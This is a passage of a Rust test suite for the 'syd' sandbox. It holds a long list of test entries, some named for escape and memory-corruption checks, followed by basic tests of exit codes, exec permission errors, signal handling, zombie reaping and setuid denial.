    test_entry!(test_syd_crypt_sandboxing_single_aes_rand_copy),
    test_entry!(test_syd_crypt_sandboxing_append_cmp_rand_copy_seq),
    test_entry!(test_syd_crypt_sandboxing_append_cmp_rand_copy_mul),
    test_entry!(test_syd_crypt_sandboxing_append_aes_rand_copy_seq),
    test_entry!(test_syd_crypt_sandboxing_append_aes_rand_copy_mul),
    test_entry!(test_syd_crypt_sandboxing_append_cmp_fuzz_copy_seq),
    test_entry!(test_syd_crypt_sandboxing_append_cmp_fuzz_copy_mul),
    test_entry!(test_syd_crypt_sandboxing_append_aes_fuzz_copy_seq),
    test_entry!(test_syd_crypt_sandboxing_append_aes_fuzz_copy_mul),
    test_entry!(test_syd_crypt_sandboxing_append_cmp_zero_copy_seq),
    test_entry!(test_syd_crypt_sandboxing_append_cmp_zero_copy_mul),
    test_entry!(test_syd_crypt_sandboxing_append_aes_zero_copy_seq),
    test_entry!(test_syd_crypt_sandboxing_append_aes_zero_copy_mul),
    test_entry!(test_syd_crypt_sandboxing_single_cmp_null_copy),
    test_entry!(test_syd_crypt_sandboxing_single_aes_null_copy),
    test_entry!(test_syd_exit_wait_default),
    test_entry!(test_syd_exit_wait_default_unsafe_ptrace),
    test_entry!(test_syd_exit_wait_pid),
    test_entry!(test_syd_exit_wait_pid_unsafe_ptrace),
    test_entry!(test_syd_exit_wait_pid_with_runaway_cmd_exec_process),
    test_entry!(test_syd_exit_wait_pid_unsafe_ptrace_with_runaway_cmd_exec_process),
    test_entry!(test_syd_exit_wait_all),
    test_entry!(test_syd_exit_wait_all_unsafe_ptrace),
    test_entry!(test_syd_exit_wait_all_with_runaway_cmd_exec_process),
    test_entry!(test_syd_exit_wait_all_unsafe_ptrace_with_runaway_cmd_exec_process),
    test_entry!(test_syd_cli_args_override_user_profile),
    test_entry!(test_syd_ifconfig_lo_bare),
    test_entry!(test_syd_ifconfig_lo_wrap),
    test_entry!(test_syd_parse_elf_native),
    test_entry!(test_syd_parse_elf_32bit),
    test_entry!(test_syd_parse_elf_path),
    test_entry!(test_syd_deny_elf32),
    test_entry!(test_syd_deny_elf_dynamic),
    test_entry!(test_syd_deny_elf_static),
    test_entry!(test_syd_deny_script),
    test_entry!(test_syd_prevent_ld_linux_exec_break),
    test_entry!(test_syd_enforce_pie_dynamic),
    test_entry!(test_syd_enforce_pie_static),
    test_entry!(test_syd_enforce_execstack_dynamic),
    test_entry!(test_syd_enforce_execstack_static),
    test_entry!(test_syd_enforce_execstack_nested_routine),
    test_entry!(test_syd_enforce_execstack_self_modifying),
    test_entry!(test_syd_enforce_mprotect_self_modifying),
    test_entry!(test_syd_enforce_execstack_on_mmap_noexec_rtld_now),
    test_entry!(test_syd_enforce_execstack_on_mmap_noexec_rtld_lazy),
    test_entry!(test_syd_enforce_execstack_on_mmap_exec_rtld_now),
    test_entry!(test_syd_enforce_execstack_on_mmap_exec_rtld_lazy),
    test_entry!(test_syd_enforce_execstack_on_mmap_exec_rtld_now_unsafe),
    test_entry!(test_syd_enforce_execstack_on_mmap_exec_rtld_lazy_unsafe),
    test_entry!(test_syd_force_sandbox),
    test_entry!(test_syd_segvguard_core_safe_default),
    test_entry!(test_syd_segvguard_core_safe_kill),
    test_entry!(test_syd_segvguard_core_unsafe_default),
    test_entry!(test_syd_segvguard_core_unsafe_kill),
    test_entry!(test_syd_segvguard_suspension_safe),
    test_entry!(test_syd_segvguard_suspension_unsafe),
    test_entry!(test_syd_exp_symlink_toctou),
    test_entry!(test_syd_exp_symlinkat_toctou),
    test_entry!(test_syd_exp_ptrmod_toctou_chdir_1),
    test_entry!(test_syd_exp_ptrmod_toctou_chdir_2),
    test_entry!(test_syd_exp_ptrmod_toctou_exec_fail),
    test_entry!(test_syd_exp_ptrmod_toctou_exec_success_quick),
    test_entry!(test_syd_exp_ptrmod_toctou_exec_success_double_fork),
    test_entry!(test_syd_exp_ptrmod_toctou_exec_success_quick_no_mitigation),
    test_entry!(test_syd_exp_ptrmod_toctou_exec_success_double_fork_no_mitigation),
    test_entry!(test_syd_exp_ptrmod_toctou_open),
    test_entry!(test_syd_exp_ptrmod_toctou_creat),
    test_entry!(test_syd_exp_ptrmod_toctou_opath_default),
    test_entry!(test_syd_exp_ptrmod_toctou_opath_unsafe),
    test_entry!(test_syd_exp_vfsmod_toctou_mmap),
    test_entry!(test_syd_exp_vfsmod_toctou_open_file_off),
    test_entry!(test_syd_exp_vfsmod_toctou_open_file_deny),
    test_entry!(test_syd_exp_vfsmod_toctou_open_path_off),
    test_entry!(test_syd_exp_vfsmod_toctou_open_path_deny),
    test_entry!(test_syd_exp_vfsmod_toctou_connect_unix),
    test_entry!(test_syd_seccomp_set_mode_strict_old),
    test_entry!(test_syd_seccomp_set_mode_strict_new),
    test_entry!(test_syd_seccomp_ret_trap_escape_strict),
    test_entry!(test_syd_seccomp_ret_trap_escape_unsafe),
    test_entry!(test_syd_io_uring_escape_strict),
    test_entry!(test_syd_io_uring_escape_unsafe),
    test_entry!(test_syd_opath_escape),
    test_entry!(test_syd_devfd_escape_chdir),
    test_entry!(test_syd_devfd_escape_chdir_relpath_1),
    test_entry!(test_syd_devfd_escape_chdir_relpath_2),
    test_entry!(test_syd_devfd_escape_chdir_relpath_3),
    test_entry!(test_syd_devfd_escape_chdir_relpath_4),
    test_entry!(test_syd_devfd_escape_chdir_relpath_5),
    test_entry!(test_syd_devfd_escape_chdir_relpath_6),
    test_entry!(test_syd_devfd_escape_chdir_relpath_7),
    test_entry!(test_syd_devfd_escape_chdir_relpath_8),
    test_entry!(test_syd_devfd_escape_chdir_relpath_9),
    test_entry!(test_syd_devfd_escape_chdir_relpath_10),
    test_entry!(test_syd_devfd_escape_chdir_relpath_11),
    test_entry!(test_syd_devfd_escape_chdir_relpath_12),
    test_entry!(test_syd_devfd_escape_chdir_relpath_13),
    test_entry!(test_syd_devfd_escape_chdir_relpath_14),
    test_entry!(test_syd_devfd_escape_chdir_relpath_15),
    test_entry!(test_syd_devfd_escape_chdir_relpath_16),
    test_entry!(test_syd_devfd_escape_chdir_relpath_17),
    test_entry!(test_syd_devfd_escape_chdir_relpath_18),
    test_entry!(test_syd_devfd_escape_chdir_relpath_19),
    test_entry!(test_syd_devfd_escape_chdir_relpath_20),
    test_entry!(test_syd_devfd_escape_open),
    test_entry!(test_syd_devfd_escape_open_relpath_1),
    test_entry!(test_syd_devfd_escape_open_relpath_2),
    test_entry!(test_syd_devfd_escape_open_relpath_3),
    test_entry!(test_syd_devfd_escape_open_relpath_4),
    test_entry!(test_syd_devfd_escape_open_relpath_5),
    test_entry!(test_syd_devfd_escape_open_relpath_6),
    test_entry!(test_syd_devfd_escape_open_relpath_7),
    test_entry!(test_syd_devfd_escape_open_relpath_8),
    test_entry!(test_syd_devfd_escape_open_relpath_9),
    test_entry!(test_syd_devfd_escape_open_relpath_10),
    test_entry!(test_syd_devfd_escape_open_relpath_11),
    test_entry!(test_syd_devfd_escape_open_relpath_12),
    test_entry!(test_syd_devfd_escape_open_relpath_13),
    test_entry!(test_syd_devfd_escape_open_relpath_14),
    test_entry!(test_syd_devfd_escape_open_relpath_15),
    test_entry!(test_syd_devfd_escape_open_relpath_16),
    test_entry!(test_syd_devfd_escape_open_relpath_17),
    test_entry!(test_syd_devfd_escape_open_relpath_18),
    test_entry!(test_syd_devfd_escape_open_relpath_19),
    test_entry!(test_syd_devfd_escape_open_relpath_20),
    test_entry!(test_syd_procself_escape_chdir),
    test_entry!(test_syd_procself_escape_chdir_relpath_1),
    test_entry!(test_syd_procself_escape_chdir_relpath_2),
    test_entry!(test_syd_procself_escape_chdir_relpath_3),
    test_entry!(test_syd_procself_escape_chdir_relpath_4),
    test_entry!(test_syd_procself_escape_chdir_relpath_5),
    test_entry!(test_syd_procself_escape_chdir_relpath_6),
    test_entry!(test_syd_procself_escape_chdir_relpath_7),
    test_entry!(test_syd_procself_escape_open),
    test_entry!(test_syd_procself_escape_open_relpath_1),
    test_entry!(test_syd_procself_escape_open_relpath_2),
    test_entry!(test_syd_procself_escape_open_relpath_3),
    test_entry!(test_syd_procself_escape_open_relpath_4),
    test_entry!(test_syd_procself_escape_open_relpath_5),
    test_entry!(test_syd_procself_escape_open_relpath_6),
    test_entry!(test_syd_procself_escape_open_relpath_7),
    test_entry!(test_syd_procself_escape_relpath),
    test_entry!(test_syd_procself_escape_symlink),
    test_entry!(test_syd_procself_escape_symlink_within_container),
    test_entry!(test_syd_rmdir_escape_file),
    test_entry!(test_syd_rmdir_escape_dir),
    test_entry!(test_syd_rmdir_escape_fifo),
    test_entry!(test_syd_rmdir_escape_unix),
    test_entry!(test_syd_umask_bypass_077),
    test_entry!(test_syd_umask_bypass_277),
    test_entry!(test_syd_emulate_opath),
    test_entry!(test_syd_emulate_otmpfile),
    test_entry!(test_syd_honor_umask_000),
    test_entry!(test_syd_honor_umask_022),
    test_entry!(test_syd_honor_umask_077),
    test_entry!(test_syd_force_umask_bypass_with_open),
    test_entry!(test_syd_force_umask_bypass_with_mknod),
    test_entry!(test_syd_force_umask_bypass_with_mkdir),
    test_entry!(test_syd_force_umask_bypass_with_fchmod),
    test_entry!(test_syd_open_utf8_invalid_default),
    test_entry!(test_syd_open_utf8_invalid_unsafe),
    test_entry!(test_syd_exec_in_inaccessible_directory),
    test_entry!(test_syd_fstat_on_pipe),
    test_entry!(test_syd_fstat_on_socket),
    test_entry!(test_syd_fstat_on_deleted_file),
    test_entry!(test_syd_fstat_on_temp_file),
    test_entry!(test_syd_fchmodat_on_proc_fd),
    test_entry!(test_syd_linkat_on_fd),
    test_entry!(test_syd_block_ioctl_tiocsti_default),
    test_entry!(test_syd_block_ioctl_tiocsti_dynamic),
    test_entry!(test_syd_block_ioctl_tiocsti_sremadd),
    test_entry!(test_syd_block_ioctl_tiocsti_sremove),
    test_entry!(test_syd_block_ioctl_tiocsti_dremove),
    test_entry!(test_syd_block_prctl_ptrace),
    test_entry!(test_syd_prevent_ptrace_detect),
    test_entry!(test_syd_kill_during_syscall),
    test_entry!(test_syd_open_toolong_path),
    test_entry!(test_syd_open_null_path),
    test_entry!(test_syd_openat2_path_linux),
    test_entry!(test_syd_openat2_path_unsafe),
    test_entry!(test_syd_openat2_path_sydbox),
    test_entry!(test_syd_utimensat_null),
    test_entry!(test_syd_utimensat_symlink),
    test_entry!(test_syd_normalize_path),
    test_entry!(test_syd_path_resolution),
    test_entry!(test_syd_remove_empty_path),
    test_entry!(test_syd_symlink_readonly_path),
    test_entry!(test_syd_open_trailing_slash),
    test_entry!(test_syd_openat_trailing_slash),
    test_entry!(test_syd_lstat_trailing_slash),
    test_entry!(test_syd_fstatat_trailing_slash),
    test_entry!(test_syd_mkdir_symlinks),
    test_entry!(test_syd_mkdir_trailing_dot),
    test_entry!(test_syd_mkdirat_trailing_dot),
    test_entry!(test_syd_rmdir_trailing_slashdot),
    test_entry!(test_syd_mkdir_eexist_escape),
    test_entry!(test_syd_mkdirat_eexist_escape),
    test_entry!(test_syd_mknod_eexist_escape),
    test_entry!(test_syd_mknodat_eexist_escape),
    test_entry!(test_syd_fopen_supports_mode_e),
    test_entry!(test_syd_fopen_supports_mode_x),
    test_entry!(test_syd_link_no_symlink_deref),
    test_entry!(test_syd_link_posix),
    test_entry!(test_syd_linkat_posix),
    test_entry!(test_syd_cp_overwrite),
    test_entry!(test_syd_getcwd_long_default),
    test_entry!(test_syd_getcwd_long_paludis),
    test_entry!(test_syd_creat_thru_dangling),
    test_entry!(test_syd_mkdirat_non_dir_fd),
    test_entry!(test_syd_blocking_udp4),
    test_entry!(test_syd_blocking_udp6),
    test_entry!(test_syd_close_on_exec),
    test_entry!(test_syd_exp_open_exclusive_restart),
    test_entry!(test_syd_exp_open_exclusive_repeat),
    test_entry!(test_syd_find_root_mount_1),
    test_entry!(test_syd_find_root_mount_2),
    test_entry!(test_syd_setsid_detach_tty),
    test_entry!(test_syd_pty_io_rust),
    test_entry!(test_syd_pty_io_gawk),
    test_entry!(test_syd_diff_dev_fd),
    test_entry!(test_syd_fifo_multiple_readers),
    test_entry!(test_syd_bind_unix_socket),
    test_entry!(test_syd_signal_protection_simple),
    test_entry!(test_syd_signal_protection_killpg_0),
    test_entry!(test_syd_signal_protection_killpg_self),
    test_entry!(test_syd_signal_protection_killpg_syd),
    test_entry!(test_syd_signal_protection_mass_0),
    test_entry!(test_syd_signal_protection_mass_int),
    test_entry!(test_syd_exp_signal_protection_bare_kill_one),
    test_entry!(test_syd_exp_signal_protection_bare_sigqueue_one),
    test_entry!(test_syd_exp_signal_protection_bare_tkill_one),
    test_entry!(test_syd_exp_signal_protection_pidns_kill_all),
    test_entry!(test_syd_exp_signal_protection_pidns_kill_one),
    test_entry!(test_syd_exp_signal_protection_pidns_sigqueue_all),
    test_entry!(test_syd_exp_signal_protection_pidns_sigqueue_one),
    test_entry!(test_syd_exp_signal_protection_pidns_tgkill_all),
    test_entry!(test_syd_exp_signal_protection_pidns_tgsigqueue_all),
    test_entry!(test_syd_exp_signal_protection_pidns_tkill_all),
    test_entry!(test_syd_exp_signal_protection_pidns_tkill_one),
    test_entry!(test_syd_exp_emulate_open_fifo),
    test_entry!(test_syd_interrupt_fifo_eintr_linux),
    test_entry!(test_syd_interrupt_fifo_eintr_syd),
    test_entry!(test_syd_interrupt_fifo_restart_linux),
    test_entry!(test_syd_interrupt_fifo_restart_syd),
    test_entry!(test_syd_interrupt_fifo_oneshot_eintr_linux),
    test_entry!(test_syd_interrupt_fifo_oneshot_eintr_syd),
    test_entry!(test_syd_interrupt_fifo_oneshot_restart_linux),
    test_entry!(test_syd_interrupt_fifo_oneshot_restart_syd),
    test_entry!(test_syd_interrupt_pthread_sigmask),
    test_entry!(test_syd_deny_magiclinks),
    test_entry!(test_syd_open_magiclinks_1),
    test_entry!(test_syd_open_magiclinks_2),
    test_entry!(test_syd_open_magiclinks_3),
    test_entry!(test_syd_open_magiclinks_4),
    test_entry!(test_syd_lstat_magiclinks),
    test_entry!(test_syd_access_unsafe_paths_default),
    test_entry!(test_syd_access_unsafe_paths_sydinit),
    test_entry!(test_syd_access_unsafe_paths_per_process_default),
    test_entry!(test_syd_access_unsafe_paths_per_process_sydinit),
    test_entry!(test_syd_prevent_block_device_access),
    test_entry!(test_syd_list_unsafe_paths_default),
    test_entry!(test_syd_list_unsafe_paths_sydinit),
    test_entry!(test_syd_list_unsafe_paths_per_process_default),
    test_entry!(test_syd_list_unsafe_paths_per_process_sydinit),
    test_entry!(test_syd_access_proc_cmdline),
    test_entry!(test_syd_mkdir_with_control_chars_default),
    test_entry!(test_syd_mkdir_with_control_chars_unsafe),
    test_entry!(test_syd_touch_with_control_chars_default),
    test_entry!(test_syd_touch_with_control_chars_unsafe),
    test_entry!(test_syd_fanotify_mark_cwd_allow),
    test_entry!(test_syd_fanotify_mark_cwd_deny),
    test_entry!(test_syd_fanotify_mark_dir_allow),
    test_entry!(test_syd_fanotify_mark_dir_deny),
    test_entry!(test_syd_fanotify_mark_path_allow),
    test_entry!(test_syd_fanotify_mark_path_deny),
    test_entry!(test_syd_fanotify_mark_dir_path_allow),
    test_entry!(test_syd_fanotify_mark_dir_path_deny),
    test_entry!(test_syd_fanotify_mark_symlink_allow),
    test_entry!(test_syd_fanotify_mark_symlink_deny),
    test_entry!(test_syd_inotify_add_watch_path_allow),
    test_entry!(test_syd_inotify_add_watch_path_deny),
    test_entry!(test_syd_inotify_add_watch_symlink_allow),
    test_entry!(test_syd_inotify_add_watch_symlink_deny),
    test_entry!(test_syd_unshare_user_bypass_limit),
    test_entry!(test_syd_stat_after_delete_reg_1),
    test_entry!(test_syd_stat_after_delete_reg_2),
    test_entry!(test_syd_stat_after_delete_dir_1),
    test_entry!(test_syd_stat_after_delete_dir_2),
    test_entry!(test_syd_stat_after_delete_dir_3),
    test_entry!(test_syd_stat_after_rename_reg_1),
    test_entry!(test_syd_stat_after_rename_reg_2),
    test_entry!(test_syd_stat_after_rename_dir_1),
    test_entry!(test_syd_stat_after_rename_dir_2),
    test_entry!(test_syd_stat_after_rename_dir_3),
    test_entry!(test_syd_stat_after_rename_dir_4),
    test_entry!(test_syd_exp_interrupt_mkdir),
    test_entry!(test_syd_exp_interrupt_bind_ipv4),
    test_entry!(test_syd_exp_interrupt_bind_unix),
    test_entry!(test_syd_exp_interrupt_connect_ipv4),
    //FIXME: This test should be done better.
    //test_entry!(test_syd_repetitive_clone),
    test_entry!(test_syd_ROP_linux),
    test_entry!(test_syd_ROP_default),
    test_entry!(test_syd_ROP_unsafe_exec),
    test_entry!(test_syd_ROP_unsafe_ptrace),
    test_entry!(test_syd_SROP_linux),
    test_entry!(test_syd_SROP_default),
    test_entry!(test_syd_SROP_unsafe),
    test_entry!(test_syd_SROP_detect_genuine_sigreturn),
    test_entry!(test_syd_SROP_detect_artificial_sigreturn_default),
    test_entry!(test_syd_SROP_detect_artificial_sigreturn_unsafe),
    test_entry!(test_syd_pid_fork_kill),
    test_entry!(test_syd_pid_thread_kill),
    test_entry!(test_syd_pid_fork_bomb),
    test_entry!(test_syd_pid_fork_bomb_asm),
    test_entry!(test_syd_pid_thread_bomb),
    test_entry!(test_syd_mem_alloc),
    test_entry!(test_syd_exp_mem_stress_ng_malloc_1),
    test_entry!(test_syd_exp_mem_stress_ng_malloc_2),
    test_entry!(test_syd_exp_mem_stress_ng_mmap),
    test_entry!(test_syd_exp_pid_stress_ng_kill),
    test_entry!(test_syd_exp_pid_stress_ng_allow),
    test_entry!(test_syd_exp_pid_stress_ng_fork),
    test_entry!(test_syd_exp_trinity),
    test_entry!(test_syd_tor_recv4_one),
    test_entry!(test_syd_tor_recv6_one),
    test_entry!(test_syd_tor_send4_one),
    test_entry!(test_syd_tor_send6_one),
    test_entry!(test_syd_tor_send4_many_seq),
    test_entry!(test_syd_tor_send6_many_seq),
    test_entry!(test_syd_tor_send4_many_par),
    test_entry!(test_syd_tor_send6_many_par),
    //TODO:test_entry!(test_syd_tor_bench), // use wrk
    //TODO:test_entry!(test_syd_tor_proxy), // use haproxy/nginx+wrk
];

// Tests if syd -V and --version works.
fn test_syd_version() -> TestResult {
    let status = syd().arg("-V").status().expect("execute syd");
    assert_status_ok!(status);

    let status = syd()
        .stdout(Stdio::null())
        .stderr(Stdio::null())
        .arg("--version")
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Tests if syd -E works.
fn test_syd_export_syntax() -> TestResult {
    skip_unless_available!("true");

    let status = syd()
        .arg("-Ebpf")
        .stderr(Stdio::inherit())
        .stdout(Stdio::null())
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let status = syd()
        .arg("-Epfc")
        .stderr(Stdio::inherit())
        .stdout(Stdio::null())
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let status = syd()
        .arg("-EBPF")
        .stderr(Stdio::inherit())
        .stdout(Stdio::null())
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let status = syd()
        .arg("-EPFC")
        .stderr(Stdio::inherit())
        .stdout(Stdio::null())
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let status = syd()
        .arg("-EbPf")
        .stderr(Stdio::inherit())
        .stdout(Stdio::null())
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let status = syd()
        .arg("-EPfc")
        .stderr(Stdio::inherit())
        .stdout(Stdio::null())
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    let status = syd()
        .arg("-Eb")
        .stderr(Stdio::inherit())
        .stdout(Stdio::null())
        .status()
        .expect("execute syd");
    assert_status_not_ok!(status);

    let status = syd()
        .arg("-Ef")
        .stderr(Stdio::inherit())
        .stdout(Stdio::null())
        .status()
        .expect("execute syd");
    assert_status_not_ok!(status);

    Ok(())
}

// Tests if syd -E outputs parent rules.
fn test_syd_export_sanity_parent() -> TestResult {
    skip_unless_available!("grep", "sh");

    let syd = &SYD.to_string();
    let status = Command::new("sh")
        .arg("-cex")
        .arg(format!("{syd} -Epfc | grep -iq 'syd parent rules'"))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

// Tests if syd -E outputs socket rules.
fn test_syd_export_sanity_socket() -> TestResult {
    skip_unless_available!("grep", "sh");

    let syd = &SYD.to_string();
    let status = Command::new("sh")
        .arg("-cex")
        .arg(format!("{syd} -Epfc | grep -iq 'syd socket rules'"))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

// Tests if syd -E outputs waiter rules.
fn test_syd_export_sanity_waiter() -> TestResult {
    skip_unless_available!("grep", "sh");

    let syd = &SYD.to_string();
    let status = Command::new("sh")
        .arg("-cex")
        .arg(format!("{syd} -Epfc | grep -iq 'syd waiter rules'"))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

// Tests if syd -E outputs process rules.
fn test_syd_export_sanity_process() -> TestResult {
    skip_unless_available!("grep", "sh");

    let syd = &SYD.to_string();
    let status = Command::new("sh")
        .arg("-cex")
        .arg(format!("{syd} -Epfc | grep -iq 'syd process rules'"))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

// Tests if syd -E outputs monitor rules.
fn test_syd_export_sanity_monitor() -> TestResult {
    skip_unless_available!("grep", "sh");

    let syd = &SYD.to_string();
    let status = Command::new("sh")
        .arg("-cex")
        .arg(format!("{syd} -Epfc | grep -iq 'syd monitor rules'"))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

// Tests if `true` returns success under sandbox.
fn test_syd_true_returns_success() -> TestResult {
    let status = syd()
        .m("allow/exec,read,stat+/***")
        .do_("exit", ["0"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

// Tests if `syd` returns success for a sandbox running many processes,
// in case the execve child returns success.
fn test_syd_true_returns_success_with_many_processes() -> TestResult {
    let status = syd()
        .m("allow/exec,read,stat+/***")
        .do_("fork", ["0", "8"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

// Tests if `syd` returns success for a sandbox running many threads,
// in case the execve child returns success.
fn test_syd_true_returns_success_with_many_threads() -> TestResult {
    let status = syd()
        .m("allow/exec,read,stat+/***")
        .do_("thread", ["0", "8"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

// Tests if `false` returns failure under sandbox.
fn test_syd_false_returns_failure() -> TestResult {
    let status = syd()
        .m("allow/exec,read,stat+/***")
        .argv(["false"])
        .status()
        .expect("execute syd");
    assert_status_not_ok!(status);

    let status = syd()
        .p("off")
        .argv(["false"])
        .status()
        .expect("execute syd");
    assert_status_not_ok!(status);

    Ok(())
}

// Tests if `syd` returns failure for a sandbox running many processes,
// in case the execve child returns failure.
fn test_syd_true_returns_failure_with_many_processes() -> TestResult {
    let status = syd()
        .m("allow/exec,read,stat+/***")
        .do_("fork", ["7", "8"])
        .status()
        .expect("execute syd");
    assert_status_code!(status, 7);
    Ok(())
}

// Tests if `syd` returns failure for a sandbox running many threads,
// in case the execve child returns failure.
fn test_syd_true_returns_failure_with_many_threads() -> TestResult {
    let status = syd()
        .m("allow/exec,read,stat+/***")
        .do_("thread", ["7", "8"])
        .status()
        .expect("execute syd");
    assert_status_code!(status, 7);
    Ok(())
}

fn test_syd_empty_file_returns_enoexec() -> TestResult {
    // Step 1: Create a file that's empty called "empty"
    let path = Path::new("empty");
    let file = File::create(path)?;

    // Set permissions to executable
    let mut perms = file.metadata()?.permissions();
    perms.set_mode(0o755); // -rwxr-xr-x
    file.set_permissions(perms)?;
    drop(file); // close the file.

    let status = syd()
        .p("off")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .do_("exec", ["./empty"])
        .status()
        .expect("execute syd");
    assert_status_code!(status, nix::libc::ENOEXEC);

    Ok(())
}

fn test_syd_non_executable_file_returns_eacces_empty() -> TestResult {
    // Create a file that's non-executable called "non-executable"
    let path = Path::new("non-executable");
    let file = File::create(path)?;

    // Set permissions to non-executable
    let mut perms = file.metadata()?.permissions();
    perms.set_mode(0o644); // -rw-r--r--
    file.set_permissions(perms)?;
    drop(file); // close the file.

    let status = syd()
        .p("off")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .do_("exec", ["./non-executable"])
        .status()
        .expect("execute syd");
    // empty & non-executable file must return EACCES not ENOEXEC!
    assert_status_denied!(status);

    Ok(())
}

fn test_syd_non_executable_file_returns_eacces_binary() -> TestResult {
    // Create a file that's non-executable called "non-executable"
    let path = Path::new("non-executable");
    let mut file = File::create(path)?;

    writeln!(
        file,
        "Change return success. Going and coming without error. Action brings good fortune."
    )?;

    // Set permissions to non-executable
    let mut perms = file.metadata()?.permissions();
    perms.set_mode(0o644); // -rw-r--r--
    file.set_permissions(perms)?;
    drop(file); // close the file.

    let status = syd()
        .p("off")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .do_("exec", ["./non-executable"])
        .status()
        .expect("execute syd");
    assert_status_denied!(status);

    Ok(())
}

fn test_syd_non_executable_file_returns_eacces_script() -> TestResult {
    // Create a file that's non-executable called "non-executable"
    let path = Path::new("non-executable");
    let mut file = File::create(path)?;

    writeln!(file, "#!/bin/sh\nexit 42")?;

    // Set permissions to non-executable
    let mut perms = file.metadata()?.permissions();
    perms.set_mode(0o644); // -rw-r--r--
    file.set_permissions(perms)?;
    drop(file); // close the file.

    let status = syd()
        .p("off")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .do_("exec", ["./non-executable"])
        .status()
        .expect("execute syd");
    assert_status_denied!(status);

    Ok(())
}

fn test_syd_sigint_returns_130() -> TestResult {
    skip_unless_available!("kill", "sh");

    let status = syd()
        .p("off")
        .argv(["sh", "-cx"])
        .arg(r#"exec kill -INT $$"#)
        .status()
        .expect("execute syd");
    assert_status_code!(status, 130);

    Ok(())
}

fn test_syd_sigabrt_returns_134() -> TestResult {
    skip_unless_available!("kill", "sh");

    let status = syd()
        .p("off")
        .argv(["sh", "-cx"])
        .arg(r#"exec kill -ABRT $$"#)
        .status()
        .expect("execute syd");
    assert_status_code!(status, 134);

    Ok(())
}

fn test_syd_sigkill_returns_137() -> TestResult {
    skip_unless_available!("kill", "sh");

    let status = syd()
        .p("off")
        .argv(["sh", "-cx"])
        .arg(r#"exec kill -KILL $$"#)
        .status()
        .expect("execute syd");
    assert_status_code!(status, 137);

    Ok(())
}

fn test_syd_reap_zombies_bare() -> TestResult {
    skip_unless_available!("bash", "sleep");

    let status = syd()
        .p("off")
        .argv(["bash", "-cex"])
        .arg(
            r#"
for i in {1..10}; do
    ( sleep $i ) &
done
disown
exit 42
        "#,
        )
        .status()
        .expect("execute syd");
    assert_status_code!(status, 42);

    Ok(())
}

fn test_syd_reap_zombies_wrap() -> TestResult {
    skip_unless_available!("bash");
    skip_unless_unshare!();

    let status = syd()
        .p("off")
        .p("container")
        .argv(["bash", "-c"])
        .arg(
            r#"
set -e
for i in {1..10}; do
    ( sleep $i ) &
done
echo >&2 "Spawned 10 processes in the background."
echo >&2 "Disowning and exiting..."
disown
exit 42
        "#,
        )
        .status()
        .expect("execute syd");
    assert_status_code!(status, 42);

    Ok(())
}

// Tests if `whoami` returns `root` with `root/fake:1`
fn test_syd_whoami_returns_root_fake() -> TestResult {
    let status = syd()
        .p("off")
        .m("root/fake:1")
        .do_("getuid", ["0"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

// Tests if `whoami` returns `root` with `root/map:1`
fn test_syd_whoami_returns_root_user() -> TestResult {
    skip_unless_unshare!();

    let status = syd()
        .p("off")
        .m("unshare/user:1")
        .m("root/map:1")
        .do_("getuid", ["0"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_setuid_nobody_default() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // Default filter denies privileged {U,G}IDs.
    // Test must return EPERM.
    let status = syd()
        .p("off")
        .do_("setuid", ["65534"])
        .status()
        .expect("execute syd");
    assert_status_denied!(status);

    Ok(())
}

fn test_syd_setuid_nobody_safesetid_deny() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // SAFETY: See the comment to test setuid_root_safesetid_deny.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    // SafeSetID is enabled, but no UID transition defined.
    // The syscall must fail with EPERM _and_ generate an access violation.
    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("trace/allow_safe_setuid:1")
        .do_("setuid", ["65534"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    let data = reader
        .lines()
        .map(|l| l.expect("read from pipe"))
        .filter(|l| l.contains("\"safesetid\""))
        .collect::<Vec<_>>()
        .join("\n");
    match data.len() {
        0 => {
            eprintln!("No data read from pipe; expected access violation.");
            return Err(TestError(
                "Expected access violation not logged.".to_string(),
            ));
        }
        _ => {
            // If any data was read, log it.
            eprint!("Access violation logged:\n{data}");
        }
    }

    Ok(())
}

fn test_syd_setuid_root_safesetid_deny() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // SafeSetID is enabled, but no UID transition defined.
    // The syscall must fail with Errno=0 with UID<=UID_MIN.
    // Note we use UID=1 rather than UID=0 because this test is
    // typically run as root so if we run as UID=0 we cannot
    // detect the non-UID-change despite setuid success.

    // SAFETY: Compared to the test setuid_nobody_safesetid_deny, this
    // test _must not_ generate a syd access violation, because UID
    // change to root must be blocked by the kernel-level parent seccomp
    // filter. This is crucial security-wise so we test it here by
    // overriding SYD_LOG and setting SYD_LOG_FD.
